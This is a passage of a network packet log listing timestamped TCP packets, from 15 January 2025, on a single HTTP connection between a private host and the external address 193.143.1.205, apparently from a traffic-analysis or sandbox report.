Jan 15, 2025 13:08:04.342648029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.342654943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.342664003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.342680931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.342695951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.342700958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.342717886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.384287119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.384356976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.384444952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.384469032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.384507895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.388647079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.388665915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.388734102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.388781071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.388797045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.388812065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.388828039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.388829947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.388845921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.388859987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.388875008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.388902903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.416471958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.416490078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.416505098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.416521072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.416552067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.416587114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.416601896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.416618109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.416642904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.416657925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.416666031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.416683912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.416702032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.416707993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.416717052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.416732073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.416738033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.416769981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.417257071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.417273045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.417289019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.417304039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.417304993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.417342901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.444061995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.444114923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.444128990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.444143057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.444159985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.444175005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.444178104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.444200039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.444248915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.444463015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.444479942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.444495916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.444511890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.444523096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.444552898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.444719076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.444787025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.444802046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.444818974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.444823027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.444835901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.444864035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.445153952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.445179939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.445195913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.445205927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.445223093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.445239067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.445250034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.445257902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.445276976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.445281982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.445292950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.445310116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.445318937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.445324898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.445343971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.445369959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.445384979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.446083069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.446108103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.446122885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.446145058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.446146965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.446165085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.446180105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.446181059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.446204901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.446219921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.446228027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.446235895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.446253061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.446259022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.446270943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.446289062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.447103024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.447118998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.447134018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.447139978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.447149992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.447166920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.447182894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.447187901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.447205067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.447211027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.447221994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.447237968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.447252989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.447259903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.447268963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.447276115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.447331905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.447989941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.448050022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.448074102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.448090076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.448098898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.448107004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.448127985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.448136091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.448153019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.448168993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.448174953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.448184013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.448203087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.448213100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.448223114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.448240995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.448999882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.449014902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.449029922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.449043036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.449057102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.449067116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.449074030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.449090958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.449115038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.449124098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.449131966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.449147940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.449152946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.449165106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.449182034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.449193954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.449218988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.449928045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.450001001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.450016022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.450031996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.450036049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.450048923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.450071096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.450074911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.450092077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.450098991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.450107098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.450118065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.450123072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.450139046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.450145006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.450155973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.450181007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.451009989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.451031923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.451047897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.451052904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.451062918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.451081038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.451081991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.451097965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.451112986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.451122046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.451128960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.451144934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.451164961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.451180935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.454982996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.473993063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.494934082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.494951010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.494982004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.494997978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.495013952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.495018959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.495028973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.495043993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.495059967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.495084047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.495085001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.495129108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.515153885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515228033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515242100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515258074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515278101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.515331984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515336037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.515362024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515386105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515412092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515417099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.515438080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515454054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515450954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.515470982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515486956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515502930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515508890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.515518904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515537024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515537977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.515551090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515564919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.515571117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.515595913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.536807060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.536830902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.536844969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.536859035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.536874056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.536889076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.536915064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.536911011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.536933899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.536947966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.536962986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.536978960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.536990881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.536992073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.536990881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.536990881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537022114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537025928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537038088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537054062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537069082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537074089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537096024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537097931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537111998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537127018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537133932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537152052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537168026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537183046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537189007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537197113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537211895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537213087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537231922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537235975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537247896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537264109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537287951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537287951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537312031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537313938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537329912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537344933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537353039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537370920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537374973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537388086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537405968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537420988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537430048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537461042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537461042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537481070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537496090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537511110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537523985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537525892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537543058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537548065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537559032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537576914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537590027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537600994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537606001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537616968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537621975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537641048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537647963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537656069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537678957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537693024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537708998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537724018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537739992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537740946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537758112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537765026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537776947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537791967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537806034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.537811041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.537831068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.542570114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.542646885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.542859077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.542885065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.542898893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.542913914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.542929888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.542944908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.542947054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.542969942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.542984962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.542992115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.542992115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.543005943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543023109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.543030977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543047905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543070078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543081045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.543091059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543112993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543124914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.543137074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543147087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.543150902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543175936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543193102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543195963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.543206930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543221951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543231964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.543237925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543255091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543265104 CET	49704	80	192.168.2.5	193.143.1.205
